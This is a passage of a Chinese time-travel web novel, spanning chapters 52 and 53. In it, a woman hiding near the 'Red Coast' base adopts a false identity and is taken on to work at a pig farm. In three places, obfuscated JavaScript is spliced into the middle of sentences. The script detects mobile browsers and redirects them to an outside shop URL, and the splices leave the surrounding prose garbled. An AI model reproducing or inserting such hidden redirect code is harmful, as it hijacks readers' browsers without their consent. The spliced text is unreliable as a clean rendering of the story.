她缓慢地坐起身,这个简单的动作就让她眼前发黑,缓了好一阵。先检查自身:树苗的意念依旧微弱,但那股清凉的细流仍在缓慢滋润,比昨天似乎又稳定了一丝。灵泉空间依旧紧闭,但感应比昨天清晰了一点,仿佛厚重的门开了一条微不可查的缝。银镯冰凉,但内里似乎有极其缓慢的能量在复苏、循环。身体的伤势严重,但生机未绝,甚至在缓慢修复,这显然是树苗和灵泉残存效果的共同作用。 生存是第一要务。 她仔细查看赵卫国留下的东西:两个杂粮窝头已经冻硬,一罐獾子油,小半瓶红汞,一卷粗糙的棉纱,几片用油纸包着的土霉素片,还有那小半壶水也结了冰碴。柴禾不多,需要精打细算。 白天不能生火,这是赵卫国再三叮嘱的。她小心地挪到窝棚唯一的破窗边,透过缝隙向外望去。天地间一片刺目的白,狂风卷起雪浪,远处稀疏的枯树林在风中狂舞,更远处,隐约能看到“红岸”基地那些高大天线的模糊轮廓,像沉默的钢铁巨人矗立在雪原尽头。偶尔能看到一两个小黑点移动,大概是巡逻的士兵或车辆,距离很远。 这里确实偏僻,窝棚位于一个低矮土坡的背风面,周围视野相对开阔,不易被靠近而不觉,但也意味着一旦被发现,无处可藏。 她退回草铺,就着冰碴水,慢慢啃着冻硬的窝头。粗糙的颗粒刮过喉咙,需要用力吞咽。味道谈不上,只是维持生命的热量。每吃一口,她都在心里计算:这些食物最多支撑两天。水需要融化雪水,但需要容器和加热,都有暴露风险。 接下来的一整天,她在寂静、寒冷和伤痛中度过。大部分时间静静躺着,节省体力,同时全力引导那微弱的清凉气息游走全身,修复最严重的几处内伤。她也在反复尝试沟通灵泉空间,每次都以精神极度疲惫告终,但似乎那“门缝”在极其缓慢地扩大。 傍晚时分,风雪稍歇。远处传来隐约的、富有节奏的号子声和机械轰鸣,大概是建设兵团在收工。林晚照小心地挪到门口,将耳朵贴在门板缝隙上。除了风声,万籁俱寂。赵卫国没有来。 她没有失望,反而松了口气。频繁接触的风险太大了。她必须尽快恢复行动能力,并找到更可持续的食物来源。 夜色再次降临,寒意更甚。她终于决定,冒一次险。用几块砖头在窝棚最角落、烟囱方向背对“红岸”基地的位置,搭起简易灶坑,放入最小份的柴禾——只有手腕粗细的几根枯枝和一把干草。用赵卫国留下的火柴(他细心地将火柴头用蜡封了好几层,防止受潮)点燃。 橘黄色的火苗艰难地窜起,驱散了一小片黑暗,带来一丝奢侈的暖意。林晚照将装着雪块的破陶碗(在窝棚角落发现的,缺了个口)架在上面,看着雪慢慢融化、冒出细微的热气。火光映着她苍白消瘦的脸,眼神却异常沉静明亮。 她一边照看小火堆,一边仔细倾听外面的动静。风声掩盖了大部分声音,但她不敢有丝毫大意。同时,她开始整理思绪,规划下一步。 身份问题必须尽快解决。知青走散的理由太脆弱,经不起查。她需要一个新的、合理的身份,最好能与“红岸”或建设兵团产生某种联系,便于她留下并调查“摇篮”碎片。树苗对“红岸”的感应……是否意味着碎片以某种形式存在于基地内部?还是与基地的某项工作、某个人有关? 她想到赵卫国。他是目前唯一的突破口。但直接打听“红岸”内部是找死。她需要更迂回的方式,获取信息,同时展现自己的“价值”,让这个身份变得合理。 火堆的柴禾很快燃尽,只剩一点余烬。陶碗里的雪水已经融化,温热。她小心地喝了几口,暖流顺着食道而下,驱散了些许寒意。剩下的水用来沾湿棉纱,清理身上一些较脏的伤口,涂抹獾子油。处理伤口时,她发现自己身体的恢复速度似乎比预想的要快一些,一些较浅的划伤已经开始结痂。这无疑是树苗和灵泉的功劳。 第二日,赵卫国依旧没来。窝头已经吃完。林晚照将最后一点獾子油抹在干裂的嘴唇上。她开始感到明显的饥饿和体力不支。白天,她强撑着在窝棚周围十几米的范围内,极其小心地搜寻。雪很深,她找到几丛被雪半埋的、干枯的沙棘枝,上面挂着零星几粒干瘪发黑的果实。她仔细摘下,放入口中,酸涩苦涩的味道弥漫开来,但多少能补充一点维生素。她还发现了一些老鼠或小鸟活动的细微痕迹,但没有工具,无法捕捉。 傍晚,她用更少的柴禾生了第二次火,融雪喝水。饥饿感如影随形。她开始认真考虑,是否要冒险在夜晚去更远的地方寻找食物。 就在这时,她隐约听到窝棚外传来轻微的、有节奏的敲击声——两短一长,重复三次。不是风声! 她立刻警觉地熄灭余烬,屏住呼吸,挪到门边。 “林……林同志?你在里面吗?是俺,赵卫国。” 压得极低的声音从门外传来。 林晚照轻轻拉开一道门缝。赵卫国裹得严严实实,像个雪人,肩膀上扛着一个小布袋,手里还提着一个用旧棉絮包裹的瓦罐。他闪身进来,迅速关好门,拍打着身上的雪。 “冻坏了吧?这两天巡查得太紧,俺不敢过来。”他将东西放下,语气带着歉意和急切,“赶紧的,俺带了点吃的。” 布袋里是几个黑面馒头和两个烤得焦黄的红薯,还带着余温。瓦罐里是稀薄却热气腾腾的菜粥,飘着几片冻白菜叶。在这个冰冷饥饿的窝棚里,这简直是珍馐美味。 林晚照没有客气,接过馒头小口却迅速地吃着。温热的食物下肚,驱散了部分寒意和虚弱感。她注意到赵卫国神色间有些疲惫,眼底有红血丝,棉裤膝盖处湿了一大片,沾满泥雪。 “你……没事吧?”她问。 赵卫国摆摆手,蹲在尚有余温的灶坑边搓着手,“没事,就是这两天活重,挖沟渠,冻土硬得跟铁似的。哦对了,”他压低声音,神色严肃起来,“兵站和俺们连队这几天查得特别严,开会学习,提高警惕,说是有可能……有敌特分子在附近活动,利用恶劣天气搞破坏。还让大家留意任何生面孔,或者行为异常的人。” 林晚照心中凛然。果然,她的出现和那次异象,已经引起了高度重视。 “另外,”赵卫国声音更低了,带着困惑,“基地里……好像也有点不对劲。不是俺们能打听的,但听在基地外围干活的战友嘀咕,说监测站那边这几天数据老有波动,仪器时好时坏,专家来了好几拨。还有人说……夜里偶尔能听到一种很低沉的、像是什么东西在震动的怪声,不是机器声。但上面不让议论。” 树苗的感应?时空污染的残留影响?还是“摇篮”碎片本身的某种活动? “谢谢你告诉我这些,也谢谢你的食物。”林晚照真诚地说,同时心中飞速盘算。时机微妙而危险。“赵同志,我的伤好一些了。但我不能一直这样躲下去,拖累你,也迟早会被发现。” 赵卫国挠挠头:“那……你有啥想法?” 林晚照看着他,目光清澈而坚定:“我想请你帮个忙。能不能……帮我打听一下,基地或者附近连队,最近有没有需要人手的工作?比如需要识字算账的文书?或者卫生所缺不缺帮忙的?哪怕是最苦最累的活也行。我得有个能站得住脚的身份。” 赵卫国吃了一惊:“你想去基地干活?那可不行!那儿审查严得很,祖宗三代都得查清楚!连队的话……倒是可能。可你这来历 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915394|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” “来历可以编,但需要机会和由头。”林晚照冷静地说,“就说我是逃荒投亲的,亲戚没找到,流落至此。或者……就说我是在更北边林场跑出来的,那边出了事故(这可以解释伤势和狼狈),证件都丢了。细节我们可以一起想,要合情合理,经得起一般盘问就行。” 她必须主动出击,化被动为主动。融入集体,获得合法身份,才能更好地隐藏、恢复,并接触“红岸”的秘密。 赵卫国被她的大胆想法震住了,张着嘴,半天没说话。这年头,一个来历不明的女人,想凭空混进建设兵团?简直是天方夜谭。但看着林晚照虽然苍白虚弱,却异常冷静沉着的眼神,他又觉得,或许……她真有什么依仗? “这……这太冒险了!万一被识破……” “不冒险,我可能熬不过这个冬天,或者下次搜查就会被发现。那时,你帮我藏匿的事,也会暴露。”林晚照轻声说,点出了最现实的利害关系。 赵卫国脸色变了变,显然也想到了这一点。他帮人,是基于朴素的同情和革命情谊,但若因此背上“包庇可疑分子”的罪名,那后果不堪设想。 “俺……俺想想办法。”他最终闷声道,“俺们连队养猪场的老陈头,年前摔伤了腿,一直没好利索,喂猪清理的活一个人干着吃力。连长正为这事儿发愁呢。那活儿又脏又累,没人愿意去,倒是可能……松一点。但也得连长点头,还得有说得过去的理由。” 养猪场?林晚照眼睛微亮。这工作偏僻,接触人相对固定,不易引人注目,而且……有机会获得一些额外的食物边角料(哪怕只是猪草、泔水里的可利用部分)。更重要的是,这是一个起点。 “可以。我愿意去。”她毫不犹豫。 “那……你的身份?”赵卫国问。 林晚照沉吟片刻:“就说我叫林晚,晚霞的晚。南边来的,家里遭了灾,来找在北大荒垦荒的叔叔,结果地址不对,没找到。路上又遇到狼群(解释伤势),东西都丢了,走投无路晕倒在路边,被你捡到。” 她保留了真实姓氏和名字的一部分,减少记忆负担。“细节要模糊,但感情要真实。最重要的是,要表现出‘根正苗红’,吃苦耐劳,一心向组织靠拢。” 赵卫国听得一愣一愣的,仔细琢磨,觉得虽然漏洞不少,但在这种偏远连队,对于一个只要肯干最脏最累活计、看起来又确实可怜狼狈的女人,连长或许真会睁只眼闭只眼,先用了再说,毕竟人手紧缺是实情。 “成!俺回去就跟连长说说看,探探口风。”赵卫国下了决心,“不过,在连长点头前,你千万别露面。吃的俺再想办法给你送。你赶紧把伤再养好点。” 他又交代了几句,匆匆离去。 窝棚重归寂静。林晚照慢慢咀嚼着剩下的红薯,思考着计划的每一个细节。主动融入,是险棋,也是活棋。她必须抓住这个机会。 夜深了,她躺在干草铺上,却难以入眠。树苗的意念似乎比白天活跃了一丝,那点绿意微微摇曳,传递出一种模糊的、指向性的渴望,方向……正是“红岸”基地的深处。 同时,在她集中精神感应时,左手腕的银镯,第一次,极其微弱地,自己闪烁了一下。不是之前的紊乱光芒,而是一种稳定的、呼吸般的明灭。 仿佛沉睡了许久的某种机制,在靠近特定目标时,开始缓缓苏醒。 而远处,雪原尽头,“红岸”基地某个深入地下、戒备森严的实验室里,一台监测着某种特殊低频信号的仪器,屏幕上的曲线,突然毫无征兆地,跳动了一下。 值班的技术员揉了揉眼睛,曲线恢复了正常。“仪器又抽风了?”他嘀咕着,在值班日志上随手记了一笔。 谁也没有注意到,仪器旁边,一个密封铅盒里,某块来自多年前一次特殊勘探任务的、无法解析其成分和辐射特性的暗银色金属碎片,表面似乎掠过了一丝微不可查的流光。 52.风雪夜归人 窝棚里的第三天,林晚照是在一阵强烈的心悸中惊醒的。 不是寒冷,也不是伤痛。是一种被什么东西“扫过”的感觉,像无形的探测波,冰冷而短暂,却让她意识深处的树苗猛地瑟缩了一下,银镯也同时传来一阵轻微的灼热。这感觉转瞬即逝,快得仿佛是错觉。 她坐起身,屏息凝神。窝棚外只有风雪声。但她的直觉在尖叫——有什么不同了。是“红岸”基地的探测?还是那渗透的时空污染产生了新的变化?抑或是……她即将做出的选择,已经开始扰动某些“既定”的轨迹? 不能再等了。 她仔细检查自己的身体状况。外伤在獾子油和树苗微弱能量的作用下,大多已结痂,最深的几处也不再流血。内伤依旧疼痛,但呼吸顺畅了些,咳嗽减少。体力恢复了大约三四成,至少能进行基本的日常活动。饥饿感依旧强烈,赵卫国留下的食物已经吃完。 她将窝棚里所有自己存在过的痕迹仔细清理,用雪掩埋了灶坑的灰烬,把干草铺恢复原状。赵卫国的大衣叠好放在显眼位置。然后,她坐在冰冷的草铺上,开始最后的准备——不是物质上的,而是心理和“剧本”上的。 她反复推敲那个“林晚”的身份故事:南方某小城人,父母早亡,跟着叔婶长大,家境贫寒。今年家乡遭了水灾,叔婶听说早年闯关东的弟弟(也就是她要找的“叔叔”)在北大荒建设兵团,便让她来投奔,指望有条活路。她带着街道开的介绍信和一点干粮上路,辗转来到这边,却发现地址是错的(叔叔可能调走了或地址有误),在暴风雪中迷路,遭遇狼群(解释伤口和狼狈),行李证件全部丢失,濒死之际被赵卫国所救。 故事的核心是“模糊”和“悲惨”。细节越少越好,情感越真越好。重点是表现“走投无路”、“感激组织收留”、“愿意为革命建设奉献一切”的态度。这个年代,对一个身世清白(至少声称如此)、遭遇不幸、又愿意接受最艰苦劳动改造的青年,基层单位往往在审查上会留有弹性,尤其是急需人手的岗位上。 她需要扮演好这个角色:眼神要带着劫后余生的惊惶和感激,姿态要谦卑顺从,干活要拼命。少说话,多观察,用行动证明价值。 天色在风雪中再次变得昏暗时,窝棚外终于响起了期待中的敲击声。这次是赵卫国和一个更沉重、更谨慎的脚步声。 林晚照深吸一口气,迅速检查了一下自己的衣着——那件末世夹克已经用赵卫国后来送来的一块旧粗布勉强改了样式,看起来像件不合身的、古怪的旧棉袄,但至少不那么扎眼了。脸上和手上的污垢和伤痕是真实的道具。她揉了揉脸颊,让脸色看起来更苍白憔悴一些,然后走到门边,没有立刻开门。 “林晚同志?在吗?是俺,赵卫国。连长……连长来看你了。”赵卫国的声音有些紧绷。 林晚照轻轻拉开门。门外站着两个人。赵卫国依旧裹得严实,眼神里带着担忧和鼓励。他旁边是一个四十多岁的中年男人,身材不高,但很敦实,穿着洗得发白的军绿色棉袄,没戴帽子,短发硬茬,脸庞被北方的风和阳光刻成深褐色,法令纹很深,一双眼睛不大,却异常锐利,正上下打量着林晚照。他肩上有积雪,看来是走了不短的路。 这就是三连连长,王大山。 林晚照立刻低下头,身体微微瑟缩,显得紧张而无助,哑着嗓子低声说:“连……连长好。赵同志。” 王大山没应声,目光像探照灯一样在她身上扫了几个来回,又越过她看了看窝棚内部。窝棚里空荡冰冷,只有一铺干草和一件旧大衣,符合一个落难者的暂居地。 “进去说。”王大山开口,声音不高,带着长期指挥形成的威严,还有一丝不易察觉的疲惫。他率先走进窝棚,赵卫国跟着进来,顺手带上了门。 空间狭小,三个人的气息让温度似乎回升了一点点。王大山就站在那儿,没坐,也没让林晚照坐。 “赵卫国都跟我说了。”王大山开门见山,目光锁定林晚照,“你说你叫林晚,南方来的,投亲不遇,遭了灾,东西都丢了?” “是,连长。”林晚照依旧低着头,声音微弱但清晰,带着南方口音的普通话,“老家……发大水,房子没了,叔婶让我来北大荒找叔叔……可地址是错的,我找不着……又遇着大风雪,迷了路,晚上还碰见了狼……”她的声音开始发颤,不是装的,是回忆起穿越以来的种种绝境和身体的虚弱,“东西……包袱,还有介绍信……都没了……差点就死在外头了……多亏赵同志……” 她适时地停住,肩膀微微抖动,仿佛强忍着眼泪。这不是完全的表演,濒死的记忆和此刻前途未卜的恐惧是真实的催化剂。 王大山沉默地听着,脸上没什么表情,只有那双锐利的眼睛,似乎将她每一丝细微的反应都收在眼底。 “你家是南方哪儿的?具体什么地方?你叔叔叫什么名字?原来在哪个团哪个连?”王大山的问题接连抛出,语气平淡,却句句要害。 林晚照心里早有准备。她报出了一个七十年代确实常发水灾的南方省份和一个常见的小县城名。叔叔的名字用了她记忆中一个远房亲戚的,叫“林向农”。“具体在哪个团……我也不太清楚,只记得信上说是在北大荒搞建设,地址写的是‘红岸地区建设兵团’……我就找来了。”她把模糊进行到底。 王大山眉头皱了皱。“建设兵团大了去了,番号驻地都是保密的,哪有这么写信的?你叔婶是干什么的?怎么连具体单位都不清楚?” “我叔婶……都是普通工人,没文化,那地址可能是托人打听来的,写错了……”林晚照声音越来越低,显得更加窘迫无助,“连长,我……我说的都是实话。我真的没地方去了……求求您,给我个干活吃饭的地方就行,我什么苦都能吃,什么活都能干!我保证听组织的话,好好改造,为建设北大荒出力!”她抬起头,眼中蓄满泪水(部分是冷风刺激,部分是情绪),看向王大山,眼神里充满恳求和对“组织”的依赖。 这是最关键的时刻。王大山这种从战争年代走过来、又带兵垦荒多年的基层干部,见多了各种人和事。他可能不相信这套漏洞百出的说辞,但他会权衡:一个来历不明但看似无害、愿意接受最艰苦劳动的女人,和一个确实缺人手的岗位(养猪场),以及手下战士(赵卫国)的担保和同情。 窝棚里一片寂静,只有风雪扑打墙壁的簌簌声。赵卫国紧张地看着连长,又看看林晚照,想说什么又不敢。 王大山背着手,在原地踱了两步,目光再次扫过林晚照单薄的身板和手上的冻疮伤痕。良久,他停下脚步,叹了口气,那叹息里包含着无奈、责任和一种见过太多苦难后的麻木。 “养猪场的活,又脏又累,冬天尤其难熬。老陈头腿脚不利索,确实需要个帮手。”他缓缓开口,语气不再那么锐利,“你先干着。但是,有几条,你给我记牢了。” 林晚照的心提了起来,屏住呼吸。 “第一,你的情况,我会向营部报告,但怎么说,报告里怎么写,你得配合。在上级有明确指示前,你就是我们三连临时收留的‘盲流’人员,接受劳动改造观察。” “第二,只能在养猪场和指定宿舍活动,未经允许,不得离开连队范围,尤其是不能靠近‘红岸’基地警戒区。平时少说话,少打听,老老实实干活。” “第三,你的口粮,暂时按最低标准,从连队机动粮里出。干得好,以后再说。干不好,或者发现你有任何问题……”王大山眼神一厉,“别怪我不讲情面。” “我明白!谢谢连长!谢谢组织收留!我一定好好干,绝不辜负连长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915395|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的信任!”林晚照立刻表态,语气充满了感激和决心。悬着的心,终于落下了一半。她获得了暂时的立足点。 王大山点点头,神色缓和了些。“赵卫国,你带她去养猪场,跟老陈头交接一下。就说是连里新安排的帮手。住处……先安排到养猪场旁边的那个旧工具房,收拾一下还能住人。”他看了一眼林晚照,“能走吧?” “能走,连长。”林晚照努力站直身体。 “那就这样。”王大山不再多言,转身拉开窝棚门,寒风再次涌入。他走出去几步,又停住,回头对赵卫国交代:“给她找身能穿的旧棉衣棉裤,从连队仓库里找,记损耗。”说完,高大的身影很快消失在风雪暮色中。 赵卫国长长舒了口气,抹了把额头不存在的汗,对林晚照露出一个如释重负的笑容:“成了!林晚……同志,咱们走吧!” 去养猪场的路并不远,但在深雪中跋涉对林晚照仍是考验。赵卫国尽量搀扶着她。沿途路过几排低矮的土坯营房,窗户里透出昏黄的灯光,隐约传来人声和收音机的广播声。有人好奇地探头张望,但被赵卫国瞪了回去。 养猪场在连队最边缘,靠近一片荒草甸子。几排低矮的猪圈,空气中弥漫着浓烈的牲畜粪便和发酵饲料的味道。一个驼背、腿脚明显不便的老头,正一瘸一拐地提着桶在喂猪,正是老陈头。 赵卫国上前说明情况。老陈头是个沉默寡言的老人,抬起浑浊的眼睛看了看林晚照,没多问什么,只是点了点头,指了指旁边一个更破旧的小土房:“那儿,自己收拾。”算是接纳了这个新帮手。 工具房比之前的窝棚还小,堆着一些破烂农具和杂物,灰尘蛛网密布。但至少有个小土炕,一个破灶台。赵卫国帮着简单清理了一下,又从仓库拿来一套打着补丁但还算厚实的旧棉衣裤、一床薄被、一个破脸盆、一个掉了瓷的搪瓷缸,以及一小袋玉米面和几个土豆、萝卜。 “先凑合着。明天开始,跟着老陈头学干活。他嘴笨,人还行,你勤快点。”赵卫国忙活完,看着林晚照在炕边坐下,终于忍不住问:“林……林晚同志,你刚才跟连长说的……都是真的吗?” 林晚照看着他年轻而关切的脸,沉默了一下,轻声说:“赵同志,谢谢你。有些事,我现在没法说清楚。但我向你保证,我绝不是坏人,也不是来搞破坏的。我只是……想活下去,有个地方落脚,靠自己的劳动吃饭。” 赵卫国似懂非懂,但看到她眼中的真诚和疲惫,最终点点头:“俺信你。你先好好歇着,明天俺再来看你。”他顿了顿,压低声音,“连长虽然同意了,但肯定没完全放心。你平时千万小心,尤其……别让人知道你打听‘红岸’或者别的啥。” “我明白。”林晚照点头。 赵卫国离开了。工具房里只剩下林晚照一个人。她点起赵卫国留下的一小截蜡烛头,昏黄的光晕照亮了这个新的、狭小的“家”。 她换上那身厚重的旧棉衣,虽然粗糙磨皮肤,但确实暖和了许多。她把银镯小心地藏在袖子里。树苗的意念传来一阵平和的波动,似乎对这个相对稳定的新环境感到安心。 她走到小小的破窗前,望向外面。风雪依旧,猪圈方向亮着马灯,老陈头还在忙碌。更远处,越过荒草甸子,在沉沉的夜幕和风雪之后,“红岸”基地的方向,只有几点稀疏的、仿佛来自另一个世界的灯光。 她终于,踏出了在这个时代立足的第一步。 然而,就在她收回目光,准备整理炕铺时,眼角余光似乎瞥见,远处“红岸”基地的某个方向,那几点灯光之中,好像有一处,极其短暂地、异常地闪烁了一下,不是普通的明灭,而是一种……幽蓝色的、冰冷的光。 几乎同时,她左手腕的银镯,在袖子里,猛地烫了一下,烫得她差点叫出声来! 53.猪倌与豆饼香 手腕的灼烫感来得突然,去得也快,仿佛只是幻觉。 林晚照却瞬间绷紧了身体,左手下意识地攥住右腕,隔着粗布棉袄的袖子,银镯的温度正在迅速消退,变回冰冷的金属触感。她死死盯着“红岸”基地的方向,那几点灯光依旧如常,幽蓝的闪烁再也没有出现。只有风雪在黑夜里呜咽。 是错觉吗?还是某种短暂的信号? 树苗的意念传递来一丝困惑和微弱的悸动,但很快又沉寂下去,仿佛刚才的波动只是被远处的什么惊扰了一下。 林晚照站在冰冷的工具房里,一动不动,任由心跳在胸腔里擂鼓。她强迫自己冷静分析。银镯的剧烈反应和树苗的波动同时发生,绝不可能是巧合。那个方向的异动,大概率与蕾拉留下的“摇篮”碎片有关。是碎片被激活了?还是有人触动了它?或者是……某种探测或搜寻的波动,引起了碎片的共鸣? 不管是什么,对她而言都意味着两点:第一,“摇篮”碎片确实在“红岸”基地内部或附近;第二,那里并不平静,可能存在未知的风险或势力。 她现在的处境,不允许她去探查。连长王大山刚刚划定了活动范围,严令禁止靠近基地。她一个来历不明的“盲流”,稍有异动就可能被当成敌特抓起来。当务之急,是站稳脚跟,恢复实力,获得一定的行动自由和信任。 她压下心中的惊涛骇浪,转身开始收拾这个临时的“家”。破旧的土炕上铺上干草和那床薄被,虽然硬冷,但比起之前的窝棚已经是质的飞跃。她用破脸盆装了雪,放在灶台上,用最后一点柴禾和蜡烛头点燃,慢慢融化雪水。灶膛里微弱的火光带来些许暖意,也照亮了她沉静却异常明亮的眼睛。 她清点着赵卫国留下的物资:一小袋玉米面,大概两三斤;几个冻得硬邦邦的土豆和萝卜;一小包粗盐。这就是她接下来几天的口粮。柴禾只剩下几根,需要自己想办法。 “先活下来。”她对自己说。 第二天天不亮,林晚照就醒了。不是自然醒,而是被冻醒和猪圈里传来的嘈杂哼叫声吵醒。她迅速起身,用昨晚化开的半盆温水(已经重新结了一层薄冰)简单擦了脸,换上那身臃肿的旧棉衣,将头发尽量利落地挽在脑后,走出工具房。 天色还是青灰色,风雪小了些,但气温似乎更低了。老陈头已经佝偻着身子,在猪圈旁的一个破棚子下,用一口大铁锅熬煮着什么,浓烈的、混杂着发酵酸味和粗粮气息的味道弥漫开来。那是猪食。 看到林晚照过来,老陈头抬起眼皮看了她一眼,没说话,只是用手中的长柄木勺指了指旁边堆着的几捆干草和两个破筐。 林晚照会意。她走过去,学着老陈头的样子,将干草用铡刀切碎。铡刀很沉,她的手臂又带着伤,每一次用力都牵扯着痛处,但她抿着嘴,一下一下,切得仔细而均匀。切完草,她又按照老陈头无声的示意,从旁边的土窖里用筐装出冻成块的豆饼和麸皮,用榔头砸碎,混合进切好的干草里,再一起倒入沸腾的大锅中搅拌。 锅里的热气熏得她脸颊发红,沉重的木勺搅拌起来极为费力,很快她的额头就冒出了细汗,内里的单衣被汗水浸湿,贴在伤处又痒又痛。老陈头偶尔会伸手接过木勺搅几下,让她喘口气,或者调整一下火候,但大部分时间只是沉默地做着自己的事,或者蹲在灶膛边,眯着眼看着火苗。 猪食熬好,需要晾到温热。老陈头这才开口,声音沙哑低沉,带着浓重的口音:“那边,挑水。每圈两桶。” 猪圈旁边有一口压水井,井口结了厚厚的冰。林晚照学着老陈头的样子,先用热水浇开井口的冰,然后费力地压水。冰冷的井水灌满两只厚重的木桶,她咬着牙,用扁担挑起。肩膀被压得生疼,脚步在冰雪地上踉跄,但她稳稳地控制着,将水倒入每个猪圈的食槽,再混合上温热的猪食。 十几头猪立刻挤到槽边,哼哧哼哧地抢食。清理猪圈更是一项考验——用铁锹将冻硬的粪便和污秽铲出,推到远处的积肥坑,再垫上新的干土和碎草。气味刺鼻,体力消耗巨大。干完一圈,她的棉袄后背已经湿透,冷风一吹,透心凉。 一个上午,就在这样繁重、重复、充满气味的劳动中度过。老陈头很少说话,只是用动作示意。林晚照也极少开口,只是默默观察、学习、用力。她的手很快磨出了新的水泡,虎口震裂,旧伤处也被汗水浸得刺痛,但她眼神始终平静,动作从生疏渐渐变得有条理。 中午,老陈头从怀里掏出两个冰冷的窝头,递给她一个,自己就着凉水啃起来。林晚照道了谢,接过窝头,小口吃着。粗糙的窝头难以下咽,但她吃得认真。吃完,她主动去收拾了锅灶,又去压了下午要用的水。 下午的活计相对轻松些,主要是修补破损的猪圈栅栏,整理草料棚。老陈头不知从哪里翻出几块破木板和工具,示意林晚照帮忙扶着,他则用锤子和钉子叮叮当当地修补。林晚照注意到,老陈头虽然腿脚不便,但手上的活计极稳,眼神专注,修补的地方虽不美观,却结实耐用。 “陈伯,您手艺真好。”她轻声说了一句,带着真诚的赞叹。 老陈头动作顿了顿,没抬头,只闷闷地“嗯”了一声,但手上的力道似乎柔和了一丝。过了一会儿,他忽然开口,声音依旧低哑:“东北冬天长,猪要养膘,光吃草不行。豆饼金贵,但顶事。开春前,得省着用。” 这是在教她。林晚照认真点头:“我记住了,陈伯。” “明天,跟我去甸子打草。”老陈头又说,“趁雪冻硬了,好走车。” 打草?这意味着可以离开养猪场范围,虽然可能只是附近的荒草甸子,但毕竟是外出的机会。林晚照心中一凛,面上却不动声色,只应道:“好。” 傍晚,喂完第二遍猪食,清理完毕,天色已经暗下来。老陈头提着一盏小马灯,示意林晚照跟上。他们回到工具房旁边的灶间,老陈头从自己带来的布袋里掏出两个土豆和一小块咸菜疙瘩,又指了指林晚照那份口粮里的一个萝卜。 “煮一锅。”他说。 林晚照立刻动手,将土豆萝卜洗净切块(冻得硬邦邦,切起来很费劲),和咸菜一起放进小铁锅,加上雪水,在灶上煮。老陈头则拿出一个小布包,里面是更精细一些的玉米面,他舀出两勺,用凉水调成糊,等锅里的菜汤滚开,细细地撒进去,搅成一锅稠稠的菜粥。 食物的香气在冰冷的灶间弥漫开来。这是林晚照来到这里后,闻到的第一顿像样的饭食香气。不是猪食的酸腐,而是粮食和蔬菜混合的、朴素的香味。 两人就着灶膛的余温,沉默地喝着热腾腾的菜粥。粗糙的粥温暖了肠胃,也驱散了一天的疲惫和寒意。 “你,南方人?”老陈头忽然问,眼睛看着灶膛里跳跃的火星。 林晚照心头微紧,放下碗,低声道:“是。” “受苦了。”老陈头没追问,只是叹了口气,“这疙瘩,冬天能冻死人。能挺过来,不易。” 这话里没有试探,只有一种历经沧桑后的平淡陈述。林晚照鼻子莫名一酸,低低“嗯”了一声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920558|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “猪圈东头,墙角第三块砖下面,有个小罐子,里面有点猪油和盐。”老陈头用木棍拨了拨火,声音几乎被柴禾的噼啪声掩盖,“夜里冷得受不了,就抹点。手脚冻伤了,也用那个。” 林晚照愣住了。这是老人自己偷偷存的“私货”,在物资极度匮乏的年代,这点猪油和盐可能是他攒了很久的宝贝。 “陈伯,我……” “拿着。”老陈头打断她,站起身,佝偻的背影在火光下拉得很长,“明天早点起。打草累。”说完,他提着小马灯,一瘸一拐地走进了风雪里,回他自己的住处去了。 工具房里,只剩下林晚照一个人,和那锅还温热的粥,以及老人那句轻描淡写却重若千钧的“拿着”。 她坐在灶膛前,火光映着她的脸。手腕上的银镯安安静静。树苗的意念传来一丝温和的暖意。身体的疲惫和伤痛依旧清晰,但心里某个地方,却因为这一锅粥、一句提醒、一罐猪油,而悄然松动。 她忽然想起赵卫国,想起王大山连长锐利却最终留有余地的眼神,想起老陈头沉默的接纳和隐秘的关怀。这个时代,这个被风雪覆盖的北大荒,有严酷的生存法则,有不容逾越的界限,但同样也有这些朴素、坚韧、甚至有些笨拙的善意。 她不再是孤身一人在末世挣扎,也不再是时空乱流中飘荡的孤魂。她有了一个可以劳动、可以吃饭、可以暂时栖身的地方,有了需要她照顾的十几头猪,有了一个沉默却似乎可以信赖的搭档。 尽管前路依旧迷雾重重,“红岸”的秘密如同悬顶之剑,身份危机随时可能爆发,但至少在此刻,在这小小的、弥漫着豆饼和菜粥香气的灶间,她真切地感受到自己“活着”,并且正在努力地“扎根”。 她小心地走到猪圈东头,按照老陈头的指示,果然在墙角第三块松动的砖下,摸出一个巴掌大的、油腻腻的粗陶罐。打开,里面是凝固的、雪白的猪油和一小撮粗盐。 将罐子仔细藏好,她回到工具房,躺在冰冷的炕上,裹紧薄被。外面风声呼啸,猪圈里偶尔传来猪的哼唧声。疲惫如潮水般涌来,但她的大脑却异常清醒。 